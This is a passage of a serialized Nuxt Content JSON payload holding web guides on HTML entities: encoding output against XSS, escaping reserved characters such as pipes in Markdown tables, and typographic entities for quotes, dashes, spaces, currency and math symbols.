2026\"\n",[143,120984,120985,120995,120999,121011],{"__ignoreMap":141},[1560,120986,120987,120989,120991,120993],{"class":1562,"line":1563},[1560,120988,8162],{"class":1669},[1560,120990,118970],{"class":1570},[1560,120992,8168],{"class":1669},[1560,120994,118975],{"class":5634},[1560,120996,120997],{"class":1562,"line":337},[1560,120998,1702],{"emptyLinePlaceholder":363},[1560,121000,121001,121003,121005,121007,121009],{"class":1562,"line":343},[1560,121002,118984],{"class":1566},[1560,121004,1688],{"class":1570},[1560,121006,118989],{"class":5634},[1560,121008,10060],{"class":1570},[1560,121010,118994],{"class":1649},[1560,121012,121013,121015,121017,121019,121021],{"class":1562,"line":365},[1560,121014,90899],{"class":1566},[1560,121016,1688],{"class":1570},[1560,121018,119003],{"class":5634},[1560,121020,101751],{"class":1570},[1560,121022,119008],{"class":1649},[11,121024,35318],{"id":35317},[77,121026,121027,121033,121049,121055,121071],{},[44,121028,121029,121032],{},[47,121030,121031],{},"Always encode user output."," Any data you inject into HTML — from APIs, forms, or databases — needs entity encoding before rendering.",[44,121034,121035,6841,121038,1459,121040,1459,121042,1459,121044,1466,121046,121048],{},[47,121036,121037],{},"Prefer named entities for the big five.",[143,121039,98619],{},[143,121041,116644],{},[143,121043,116658],{},[143,121045,116672],{},[143,121047,117781],{}," cover the most critical characters. Use them for readability.",[44,121050,121051,121054],{},[47,121052,121053],{},"Use numeric entities for everything else."," Symbols, emojis, and rare characters often lack named entities. Numeric codes work universally.",[44,121056,121057,121060,121061,121063,121064,121066,121067,55616,121069,468],{},[47,121058,121059],{},"Don't double-encode."," Encoding ",[143,121062,98619],{}," again produces ",[143,121065,117065],{},", which renders as the literal text ",[143,121068,98619],{},[143,121070,13530],{},[44,121072,121073,121076],{},[47,121074,121075],{},"Validate context."," Entity encoding works inside HTML content. Inside JavaScript strings or CSS, you need different escaping strategies.",[11,121078,1355],{"id":1354},[41,121080,121081,121084,121095,121098,121108,121111],{},[44,121082,121083],{},"HTML entities replace characters that would conflict with HTML syntax",[44,121085,121086,121087,121089,121090,121092,121093,1525],{},"Three formats exist: named (",[143,121088,98619],{},"), decimal (",[143,121091,120184],{},"), and hexadecimal (",[143,121094,120201],{},[44,121096,121097],{},"Entity encoding is essential for preventing XSS and displaying special characters",[44,121099,1388,121100,121102,121103,21111,121105,121107],{},[143,121101,120866],{}," for encoding and ",[143,121104,120962],{},[143,121106,120866],{}," for decoding in the browser",[44,121109,121110],{},"Named entities improve readability; numeric entities offer full Unicode coverage",[44,121112,121113],{},"Always encode user-supplied data before rendering it in HTML",[11,121115,321],{"id":320},[41,121117,121118,121122,121126],{},[44,121119,121120],{},[98,121121,117632],{"href":117631},[44,121123,121124],{},[98,121125,118220],{"href":118219},[44,121127,121128],{},[98,121129,120062],{"href":120061},[11,121131,286],{"id":285},[16,121133,117641,121134,119089],{},[98,121135,117645],{"href":117644},[2043,121137,121138],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":121140},[121141,121142,121145,121151,121152,121157,121158,121159,121160],{"id":120112,"depth":337,"text":120113},{"id":120133,"depth":337,"text":120134,"children":121143},[121144],{"id":120209,"depth":343,"text":120210},{"id":120219,"depth":337,"text":120220,"children":121146},[121147,121148,121149,121150],{"id":120223,"depth":343,"text":120224},{"id":120295,"depth":343,"text":120296},{"id":120302,"depth":343,"text":120303},{"id":120314,"depth":343,"text":120315},{"id":120321,"depth":337,"text":120322},{"id":120779,"depth":337,"text":120780,"children":121153},[121154,121155,121156],{"id":120786,"depth":343,"text":120787},{"id":120879,"depth":343,"text":120880},{"id":120969,"depth":343,"text":120970},{"id":35317,"depth":337,"text":35318},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Complete guide to HTML entities — what they are, when to use them, and how to encode and decode special characters in HTML.",{"immutable":363},{"title":120107,"description":121161},"guides\u002Fhtml-entities-guide","9Zo_oDasBFlFPmCRCZNuhAv-spt57G0H5LT1MU64azM",{"id":121167,"title":121168,"body":121169,"date":2070,"description":121542,"extension":361,"meta":121543,"navigation":363,"path":121544,"readingTime":1710,"seo":121545,"stem":121546,"__hash__":121547},"guides\u002Fguides\u002Fhtml-entities-in-markdown.md","HTML Entities in Markdown Content",{"type":8,"value":121170,"toc":121536},[121171,121174,121178,121181,121260,121263,121266,121270,121273,121318,121321,121324,121376,121379,121383,121386,121395,121415,121422,121440,121443,121477,121487,121491,121494,121524,121527,121534],[16,121172,121173],{},"Markdown provides a clean, minimal syntax for writing structured content, but it cannot represent every character you might need. Special symbols, mathematical operators, accented letters, and reserved characters often require HTML entities—the same notation used in raw HTML. Understanding how to use entities correctly within Markdown files helps you produce accurate, well-formatted content without falling back to raw HTML blocks.",[11,121175,121177],{"id":121176},"when-markdown-syntax-falls-short","When Markdown Syntax Falls Short",[16,121179,121180],{},"Markdown handles headings, links, images, code blocks, and basic formatting well. However, several common scenarios exceed its character set:",[41,121182,121183,121194,121214,121231,121247],{},[44,121184,121185,6841,121188,1459,121190,1459,121192],{},[47,121186,121187],{},"Copyright and trademark symbols:",[143,121189,118433],{},[143,121191,120489],{},[143,121193,120512],{},[44,121195,121196,6841,121199,1459,121202,1459,121205,1459,121208,1459,121211],{},[47,121197,121198],{},"Mathematical symbols:",[143,121200,121201],{},"≤",[143,121203,121204],{},"≥",[143,121206,121207],{},"≠",[143,121209,121210],{},"≈",[143,121212,121213],{},"π",[44,121215,121216,6841,121219,1459,121222,1459,121225,1459,121228],{},[47,121217,121218],{},"Arrows and decorative symbols:",[143,121220,121221],{},"→",[143,121223,121224],{},"←",[143,121226,121227],{},"⇒",[143,121229,121230],{},"★",[44,121232,121233,6841,121240,1459,121242,1459,121244],{},[47,121234,121235,121236,1856,121238,8037],{},"Currency symbols beyond ",[143,121237,11938],{},[143,121239,120712],{},[143,121241,120758],{},[143,121243,120735],{},[143,121245,121246],{},"₹",[44,121248,121249,6841,121252,1459,121254,1459,121256,1459,121258],{},[47,121250,121251],{},"Reserved Markdown characters that need literal display:",[143,121253,8069],{},[143,121255,23056],{},[143,121257,6852],{},[143,121259,7334],{},[16,121261,121262],{},"You can often type these characters directly if your keyboard supports them and your file uses UTF-8 encoding. But direct insertion has drawbacks: some editors render them inconsistently, grep and diff tools may struggle with multi-byte sequences, and team members with different keyboard layouts may find them hard to type or verify.",[16,121264,121265],{},"HTML entities solve these problems by expressing every character in ASCII-safe notation.",[11,121267,121269],{"id":121268},"entity-formats-in-markdown","Entity Formats in Markdown",[16,121271,121272],{},"Markdown processors pass HTML entities through to the rendered output unchanged. The browser then decodes the entity into the corresponding character. Three entity formats are available:",[193,121274,121275,121285],{},[196,121276,121277],{},[199,121278,121279,121281,121283],{},[202,121280,13018],{},[202,121282,133],{},[202,121284,120152],{},[211,121286,121287,121298,121308],{},[199,121288,121289,121292,121296],{},[216,121290,121291],{},"Named entity",[216,121293,121294],{},[143,121295,118430],{},[216,121297,118433],{},[199,121299,121300,121302,121306],{},[216,121301,120174],{},[216,121303,121304],{},[143,121305,120477],{},[216,121307,118433],{},[199,121309,121310,121312,121316],{},[216,121311,120191],{},[216,121313,121314],{},[143,121315,120482],{},[216,121317,118433],{},[16,121319,121320],{},"Named entities are the most readable and should be preferred when a name exists. Numeric entities work for any Unicode character, including those without named equivalents.",[16,121322,121323],{},"Here is how entities appear in a Markdown file:",[135,121325,121327],{"className":34628,"code":121326,"language":34630,"meta":141,"style":141},"## Licensing\n\nAll content is © 2026 Acme Corp. The Acme™ brand is a registered® trademark.\n\nFor pricing, see the table below:\n\n| Plan | Price (¥) |\n|------|-----------|\n| Basic | ¥1,000 |\n| Pro | ¥5,000 |\n",[143,121328,121329,121334,121338,121343,121347,121352,121356,121361,121366,121371],{"__ignoreMap":141},[1560,121330,121331],{"class":1562,"line":1563},[1560,121332,121333],{},"## Licensing\n",[1560,121335,121336],{"class":1562,"line":337},[1560,121337,1702],{"emptyLinePlaceholder":363},[1560,121339,121340],{"class":1562,"line":343},[1560,121341,121342],{},"All content is © 2026 Acme Corp. The Acme™ brand is a registered® trademark.\n",[1560,121344,121345],{"class":1562,"line":365},[1560,121346,1702],{"emptyLinePlaceholder":363},[1560,121348,121349],{"class":1562,"line":889},[1560,121350,121351],{},"For pricing, see the table below:\n",[1560,121353,121354],{"class":1562,"line":1710},[1560,121355,1702],{"emptyLinePlaceholder":363},[1560,121357,121358],{"class":1562,"line":1717},[1560,121359,121360],{},"| Plan | Price (¥) |\n",[1560,121362,121363],{"class":1562,"line":1747},[1560,121364,121365],{},"|------|-----------|\n",[1560,121367,121368],{"class":1562,"line":2507},[1560,121369,121370],{},"| Basic | ¥1,000 |\n",[1560,121372,121373],{"class":1562,"line":2524},[1560,121374,121375],{},"| Pro | ¥5,000 |\n",[16,121377,121378],{},"The rendered output displays the correct symbols everywhere, and the source remains ASCII-safe.",[11,121380,121382],{"id":121381},"escaping-reserved-characters","Escaping Reserved Characters",[16,121384,121385],{},"Markdown reserves several characters for its own syntax. When you need to display these characters literally rather than as formatting markers, entities provide a clean escape mechanism.",[16,121387,121388,121389,121391,121392,121394],{},"The pipe character ",[143,121390,7334],{}," is a common problem inside tables. Since Markdown uses ",[143,121393,7334],{}," to delimit columns, a literal pipe in cell content breaks the table structure:",[135,121396,121398],{"className":34628,"code":121397,"language":34630,"meta":141,"style":141},"| Command | Description |\n|---------|-------------|\n| `ls -a | wc -l` | Count all files |   \u003C!-- Broken: pipe splits the cell -->\n",[143,121399,121400,121405,121410],{"__ignoreMap":141},[1560,121401,121402],{"class":1562,"line":1563},[1560,121403,121404],{},"| Command | Description |\n",[1560,121406,121407],{"class":1562,"line":337},[1560,121408,121409],{},"|---------|-------------|\n",[1560,121411,121412],{"class":1562,"line":343},[1560,121413,121414],{},"| `ls -a | wc -l` | Count all files |   \u003C!-- Broken: pipe splits the cell -->\n",[16,121416,121417,121418,121421],{},"Replacing the pipe with ",[143,121419,121420],{},"&#124;"," fixes the parsing:",[135,121423,121425],{"className":34628,"code":121424,"language":34630,"meta":141,"style":141},"| Command | Description |\n|---------|-------------|\n| `ls -a &#124; wc -l` | Count all files |\n",[143,121426,121427,121431,121435],{"__ignoreMap":141},[1560,121428,121429],{"class":1562,"line":1563},[1560,121430,121404],{},[1560,121432,121433],{"class":1562,"line":337},[1560,121434,121409],{},[1560,121436,121437],{"class":1562,"line":343},[1560,121438,121439],{},"| `ls -a &#124; wc -l` | Count all files |\n",[16,121441,121442],{},"Other characters that benefit from entity escaping include:",[41,121444,121445,121453,121461,121469],{},[44,121446,121447,52609,121449,121452],{},[143,121448,8069],{},[143,121450,121451],{},"&#42;"," — prevents italic\u002Fbold parsing",[44,121454,121455,52609,121457,121460],{},[143,121456,23056],{},[143,121458,121459],{},"&#95;"," — prevents italic parsing",[44,121462,121463,52609,121465,121468],{},[143,121464,6852],{},[143,121466,121467],{},"&#35;"," — prevents heading parsing",[44,121470,121471,52609,121473,121476],{},[143,121472,6845],{},[143,121474,121475],{},"&#126;"," — prevents strikethrough parsing",[16,121478,121479,121480,1459,121483,121486],{},"You can also use Markdown's backslash escape (",[143,121481,121482],{},"\\*",[143,121484,121485],{},"\\|",") for single characters, but entities are more reliable in complex contexts like table cells where backslash escapes may not be supported by all parsers.",[11,121488,121490],{"id":121489},"compatibility-across-markdown-processors","Compatibility Across Markdown Processors",[16,121492,121493],{},"Different Markdown processors handle entities with varying levels of support. GitHub Flavored Markdown, CommonMark, and most Nuxt Content configurations parse HTML entities correctly in body text. However, some edge cases exist:",[41,121495,121496,121509,121515],{},[44,121497,121498,121501,121502,121504,121505,88000,121507,468],{},[47,121499,121500],{},"Inside code spans and code blocks:"," Entities are not decoded. Writing ",[143,121503,98619],{}," inside backticks renders as the literal text ",[143,121506,98619],{},[143,121508,13530],{},[44,121510,121511,121514],{},[47,121512,121513],{},"Inside frontmatter:"," YAML frontmatter does not process HTML entities. Use Unicode characters directly in frontmatter values.",[44,121516,121517,121520,121521,121523],{},[47,121518,121519],{},"In link URLs:"," Some processors decode entities in ",[143,121522,98766],{}," attributes; others do not. Avoid entities in URLs and use percent-encoding instead.",[16,121525,121526],{},"When working with Nuxt Content specifically, Markdown files are parsed through a unified pipeline that respects standard HTML entity behavior. Named entities defined in the HTML5 specification are fully supported.",[16,121528,121529,121530,121533],{},"To look up entity codes for any character, the ",[98,121531,121532],{"href":117644},"HTML Entity tool"," provides a searchable reference of named and numeric entities.",[2043,121535,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":121537},[121538,121539,121540,121541],{"id":121176,"depth":337,"text":121177},{"id":121268,"depth":337,"text":121269},{"id":121381,"depth":337,"text":121382},{"id":121489,"depth":337,"text":121490},"Using HTML entities in Markdown files for special characters not supported by syntax.",{},"\u002Fguides\u002Fhtml-entities-in-markdown",{"title":121168,"description":121542},"guides\u002Fhtml-entities-in-markdown","HPu-qBuD9w9qmCyDEPEs1E5QJeKgNIlKcTfxvZkvmKw",{"id":121549,"title":121550,"body":121551,"date":2070,"description":122353,"extension":361,"meta":122354,"navigation":363,"path":122355,"readingTime":1710,"seo":122356,"stem":122357,"__hash__":122358},"guides\u002Fguides\u002Fhtml-entities-typography-symbols.md","HTML Entities for Typography and Symbols: A Practical Guide",{"type":8,"value":121552,"toc":122340},[121553,121557,121560,121570,121574,121582,121654,121691,121694,121698,121701,121758,121761,121789,121793,121796,121874,121881,121885,121979,121982,121986,122114,122118,122247,122251,122284,122286,122314,122316,122330,122332,122337],[11,121554,121556],{"id":121555},"why-typography-entities-matter","Why Typography Entities Matter",[16,121558,121559],{},"Good typography is invisible — bad typography stands out. When a curly quote renders as a straight mark, an em dash becomes a double hyphen, or a currency symbol breaks into a question mark, readers notice. HTML entities give you reliable control over these characters across browsers, encodings, and devices.",[16,121561,121562,121563,121565,121566,121569],{},"Using the right entity instead of a keyboard approximation signal professionalism. A proper em dash (",[143,121564,3060],{},") communicates differently from a double hyphen (",[143,121567,121568],{},"--","), and correct quotation marks shape how people read your content.",[11,121571,121573],{"id":121572},"quotation-marks","Quotation Marks",[16,121575,121576,121577,1856,121579,121581],{},"Straight quotes (",[143,121578,8721],{},[143,121580,9361],{},") are keyboard conveniences, not typographic characters. Professional content uses curly quotes:",[193,121583,121584,121596],{},[196,121585,121586],{},[199,121587,121588,121590,121592,121594],{},[202,121589,7809],{},[202,121591,116629],{},[202,121593,120152],{},[202,121595,4034],{},[211,121597,121598,121612,121626,121640],{},[199,121599,121600,121603,121607,121609],{},[216,121601,121602],{},"Left double",[216,121604,121605],{},[143,121606,117850],{},[216,121608,8721],{},[216,121610,121611],{},"Opening double quote",[199,121613,121614,121617,121621,121623],{},[216,121615,121616],{},"Right double",[216,121618,121619],{},[143,121620,117853],{},[216,121622,8721],{},[216,121624,121625],{},"Closing double quote",[199,121627,121628,121631,121635,121637],{},[216,121629,121630],{},"Left single",[216,121632,121633],{},[143,121634,117873],{},[216,121636,9361],{},[216,121638,121639],{},"Opening single quote, apostrophe",[199,121641,121642,121645,121649,121651],{},[216,121643,121644],{},"Right single",[216,121646,121647],{},[143,121648,117876],{},[216,121650,9361],{},[216,121652,121653],{},"Closing single quote",[135,121655,121657],{"className":6417,"code":121656,"language":6419,"meta":141,"style":141},"\u003Cp>&ldquo;I can&rsquo;t believe it,&rdquo; she said.\u003C\u002Fp>\n\u003C!-- \"I can't believe it,\" she said. -->\n",[143,121658,121659,121686],{"__ignoreMap":141},[1560,121660,121661,121663,121665,121667,121669,121672,121674,121677,121679,121682,121684],{"class":1562,"line":1563},[1560,121662,6431],{"class":1570},[1560,121664,16],{"class":2484},[1560,121666,28226],{"class":1570},[1560,121668,117850],{"class":1576},[1560,121670,121671],{"class":1570},"I can",[1560,121673,117876],{"class":1576},[1560,121675,121676],{"class":1570},"t believe it,",[1560,121678,117853],{"class":1576},[1560,121680,121681],{"class":1570}," she said.\u003C\u002F",[1560,121683,16],{"class":2484},[1560,121685,6441],{"class":1570},[1560,121687,121688],{"class":1562,"line":337},[1560,121689,121690],{"class":1649},"\u003C!-- \"I can't believe it,\" she said. -->\n",[16,121692,121693],{},"Many content management systems auto-convert straight quotes to curly quotes, but when you write raw HTML, you need the entities.",[11,121695,121697],{"id":121696},"dashes-and-hyphens","Dashes and Hyphens",[16,121699,121700],{},"English uses three horizontal line characters with distinct meanings:",[193,121702,121703,121715],{},[196,121704,121705],{},[199,121706,121707,121709,121711,121713],{},[202,121708,7809],{},[202,121710,116629],{},[202,121712,120152],{},[202,121714,4034],{},[211,121716,121717,121732,121745],{},[199,121718,121719,121722,121727,121729],{},[216,121720,121721],{},"Hyphen",[216,121723,121724,121726],{},[143,121725,9412],{}," (direct)",[216,121728,9412],{},[216,121730,121731],{},"Compound words: well-known",[199,121733,121734,121736,121740,121742],{},[216,121735,120569],{},[216,121737,121738],{},[143,121739,117833],{},[216,121741,1811],{},[216,121743,121744],{},"Ranges: pages 10–12, 2024–2026",[199,121746,121747,121749,121753,121755],{},[216,121748,120549],{},[216,121750,121751],{},[143,121752,117817],{},[216,121754,3060],{},[216,121756,121757],{},"Interruptions: The result — surprising — was clear",[16,121759,121760],{},"The en dash is wider than a hyphen but narrower than an em dash. It connects spans of numbers, dates, and scores. The em dash sets off parenthetical thoughts or dramatic pauses.",[135,121762,121764],{"className":6417,"code":121763,"language":6419,"meta":141,"style":141},"\u003Cp>The conference runs June 10&ndash;12 and features speakers from three continents&mdash;an unprecedented lineup.\u003C\u002Fp>\n",[143,121765,121766],{"__ignoreMap":141},[1560,121767,121768,121770,121772,121775,121777,121780,121782,121785,121787],{"class":1562,"line":1563},[1560,121769,6431],{"class":1570},[1560,121771,16],{"class":2484},[1560,121773,121774],{"class":1570},">The conference runs June 10",[1560,121776,117833],{"class":1576},[1560,121778,121779],{"class":1570},"12 and features speakers from three continents",[1560,121781,117817],{"class":1576},[1560,121783,121784],{"class":1570},"an unprecedented lineup.\u003C\u002F",[1560,121786,16],{"class":2484},[1560,121788,6441],{"class":1570},[11,121790,121792],{"id":121791},"spaces","Spaces",[16,121794,121795],{},"HTML collapses multiple spaces into one. Entity-based spaces give you precise control:",[193,121797,121798,121810],{},[196,121799,121800],{},[199,121801,121802,121804,121806,121808],{},[202,121803,116629],{},[202,121805,21954],{},[202,121807,7621],{},[202,121809,4034],{},[211,121811,121812,121826,121842,121858],{},[199,121813,121814,121818,121820,121823],{},[216,121815,121816],{},[143,121817,120451],{},[216,121819,120464],{},[216,121821,121822],{},"Same as space",[216,121824,121825],{},"Prevent line breaks between words",[199,121827,121828,121833,121836,121839],{},[216,121829,121830],{},[143,121831,121832],{},"&ensp;",[216,121834,121835],{},"En space",[216,121837,121838],{},"Width of an \"n\"",[216,121840,121841],{},"Tabular alignment",[199,121843,121844,121849,121852,121855],{},[216,121845,121846],{},[143,121847,121848],{},"&emsp;",[216,121850,121851],{},"Em space",[216,121853,121854],{},"Width of an \"m\"",[216,121856,121857],{},"Paragraph indentation",[199,121859,121860,121865,121868,121871],{},[216,121861,121862],{},[143,121863,121864],{},"&thinsp;",[216,121866,121867],{},"Thin space",[216,121869,121870],{},"Narrower than space",[216,121872,121873],{},"Thousand separators: 1 000",[16,121875,121876,121877,121880],{},"Non-breaking spaces are the most used — they prevent the browser from wrapping text at that point. Use them between a number and its unit (",[143,121878,121879],{},"10&nbsp;kg",") or in navigation labels where a line break would look awkward.",[11,121882,121884],{"id":121883},"currency-symbols","Currency Symbols",[193,121886,121887,121897],{},[196,121888,121889],{},[199,121890,121891,121893,121895],{},[202,121892,25285],{},[202,121894,116629],{},[202,121896,207],{},[211,121898,121899,121910,121920,121930,121941,121954,121967],{},[199,121900,121901,121903,121907],{},[216,121902,11938],{},[216,121904,121905,121726],{},[143,121906,11938],{},[216,121908,121909],{},"Dollar",[199,121911,121912,121914,121918],{},[216,121913,120712],{},[216,121915,121916],{},[143,121917,120717],{},[216,121919,120730],{},[199,121921,121922,121924,121928],{},[216,121923,120735],{},[216,121925,121926],{},[143,121927,120740],{},[216,121929,120753],{},[199,121931,121932,121934,121938],{},[216,121933,120758],{},[216,121935,121936],{},[143,121937,120763],{},[216,121939,121940],{},"Yen \u002F Yuan",[199,121942,121943,121946,121951],{},[216,121944,121945],{},"¢",[216,121947,121948],{},[143,121949,121950],{},"&cent;",[216,121952,121953],{},"Cent",[199,121955,121956,121959,121964],{},[216,121957,121958],{},"₩",[216,121960,121961],{},[143,121962,121963],{},"&#x20A9;",[216,121965,121966],{},"Won (numeric only)",[199,121968,121969,121971,121976],{},[216,121970,121246],{},[216,121972,121973],{},[143,121974,121975],{},"&#x20B9;",[216,121977,121978],{},"Indian rupee (numeric only)",[16,121980,121981],{},"Not all currency symbols have named entities. For newer symbols like the Indian rupee (₹) or Bitcoin (₿), use numeric references.",[11,121983,121985],{"id":121984},"mathematical-and-scientific-symbols","Mathematical and Scientific Symbols",[193,121987,121988,121998],{},[196,121989,121990],{},[199,121991,121992,121994,121996],{},[202,121993,25285],{},[202,121995,116629],{},[202,121997,207],{},[211,121999,122000,122010,122020,122030,122042,122054,122066,122078,122088,122101],{},[199,122001,122002,122004,122008],{},[216,122003,120643],{},[216,122005,122006],{},[143,122007,120648],{},[216,122009,120661],{},[199,122011,122012,122014,122018],{},[216,122013,120666],{},[216,122015,122016],{},[143,122017,120671],{},[216,122019,120684],{},[199,122021,122022,122024,122028],{},[216,122023,120689],{},[216,122025,122026],{},[143,122027,120694],{},[216,122029,120707],{},[199,122031,122032,122034,122039],{},[216,122033,121201],{},[216,122035,122036],{},[143,122037,122038],{},"&le;",[216,122040,122041],{},"Less than or equal",[199,122043,122044,122046,122051],{},[216,122045,121204],{},[216,122047,122048],{},[143,122049,122050],{},"&ge;",[216,122052,122053],{},"Greater than or equal",[199,122055,122056,122058,122063],{},[216,122057,121207],{},[216,122059,122060],{},[143,122061,122062],{},"&ne;",[216,122064,122065],{},"Not equal",[199,122067,122068,122070,122075],{},[216,122069,121210],{},[216,122071,122072],{},[143,122073,122074],{},"&asymp;",[216,122076,122077],{},"Approximately equal",[199,122079,122080,122082,122086],{},[216,122081,120620],{},[216,122083,122084],{},[143,122085,120625],{},[216,122087,120638],{},[199,122089,122090,122093,122098],{},[216,122091,122092],{},"µ",[216,122094,122095],{},[143,122096,122097],{},"&micro;",[216,122099,122100],{},"Micro",[199,122102,122103,122106,122111],{},[216,122104,122105],{},"∞",[216,122107,122108],{},[143,122109,122110],{},"&infin;",[216,122112,122113],{},"Infinity",[11,122115,122117],{"id":122116},"arrows-and-structural-symbols","Arrows and Structural Symbols",[193,122119,122120,122130],{},[196,122121,122122],{},[199,122123,122124,122126,122128],{},[202,122125,25285],{},[202,122127,116629],{},[202,122129,207],{},[211,122131,122132,122144,122156,122169,122182,122195,122208,122221,122234],{},[199,122133,122134,122136,122141],{},[216,122135,121224],{},[216,122137,122138],{},[143,122139,122140],{},"&larr;",[216,122142,122143],{},"Left arrow",[199,122145,122146,122148,122153],{},[216,122147,121221],{},[216,122149,122150],{},[143,122151,122152],{},"&rarr;",[216,122154,122155],{},"Right arrow",[199,122157,122158,122161,122166],{},[216,122159,122160],{},"↑",[216,122162,122163],{},[143,122164,122165],{},"&uarr;",[216,122167,122168],{},"Up arrow",[199,122170,122171,122174,122179],{},[216,122172,122173],{},"↓",[216,122175,122176],{},[143,122177,122178],{},"&darr;",[216,122180,122181],{},"Down arrow",[199,122183,122184,122187,122192],{},[216,122185,122186],{},"•",[216,122188,122189],{},[143,122190,122191],{},"&bull;",[216,122193,122194],{},"Bullet",[199,122196,122197,122200,122205],{},[216,122198,122199],{},"§",[216,122201,122202],{},[143,122203,122204],{},"&sect;",[216,122206,122207],{},"Section sign",[199,122209,122210,122213,122218],{},[216,122211,122212],{},"¶",[216,122214,122215],{},[143,122216,122217],{},"&para;",[216,122219,122220],{},"Paragraph sign",[199,122222,122223,122226,122231],{},[216,122224,122225],{},"†",[216,122227,122228],{},[143,122229,122230],{},"&dagger;",[216,122232,122233],{},"Dagger",[199,122235,122236,122239,122244],{},[216,122237,122238],{},"‡",[216,122240,122241],{},[143,122242,122243],{},"&Dagger;",[216,122245,122246],{},"Double dagger",[11,122248,122250],{"id":122249},"when-to-use-named-vs-numeric-entities","When to Use Named vs. Numeric Entities",[41,122252,122253,122266,122274],{},[44,122254,122255,122258,122259,1459,122261,1459,122263,122265],{},[47,122256,122257],{},"Named entities"," — Use for the common characters you type often: ",[143,122260,117817],{},[143,122262,120451],{},[143,122264,117850],{},". They're readable and self-documenting.",[44,122267,122268,122270,122271,122273],{},[47,122269,120174],{}," — Use as a fallback when a named entity doesn't exist: ",[143,122272,117902],{}," for an ellipsis.",[44,122275,122276,122279,122280,122283],{},[47,122277,122278],{},"Hex numeric"," — Use when referencing Unicode charts: ",[143,122281,122282],{},"&#x2026;"," for the same ellipsis. Hex matches Unicode notation, making cross-referencing easier.",[11,122285,1355],{"id":1354},[41,122287,122288,122291,122299,122305,122308,122311],{},[44,122289,122290],{},"Typography entities make content look professional — curly quotes, proper dashes, and correct spaces matter",[44,122292,1388,122293,122295,122296,122298],{},[143,122294,117817],{}," for em dashes, ",[143,122297,117833],{}," for ranges, and hyphens only for compound words",[44,122300,122301,122302,122304],{},"Non-breaking spaces (",[143,122303,120451],{},") prevent awkward line breaks in numbers, units, and labels",[44,122306,122307],{},"Not all symbols have named entities — use numeric references for newer Unicode characters",[44,122309,122310],{},"Prefer named entities for readability; use numeric references when no name exists",[44,122312,122313],{},"Always test special characters across browsers and encodings to catch rendering issues",[11,122315,321],{"id":320},[41,122317,122318,122322,122326],{},[44,122319,122320],{},[98,122321,117626],{"href":117625},[44,122323,122324],{},[98,122325,117632],{"href":117631},[44,122327,122328],{},[98,122329,118220],{"href":118219},[11,122331,286],{"id":285},[16,122333,117641,122334,122336],{},[98,122335,117645],{"href":117644},". Paste any text and get properly encoded output — including all typographic symbols.",[2043,122338,122339],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":122341},[122342,122343,122344,122345,122346,122347,122348,122349,122350,122351,122352],{"id":121555,"depth":337,"text":121556},{"id":121572,"depth":337,"text":121573},{"id":121696,"depth":337,"text":121697},{"id":121791,"depth":337,"text":121792},{"id":121883,"depth":337,"text":121884},{"id":121984,"depth":337,"text":121985},{"id":122116,"depth":337,"text":122117},{"id":122249,"depth":337,"text":122250},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Master HTML entities for em dashes, quotes, currency symbols, and other typographic characters that improve web 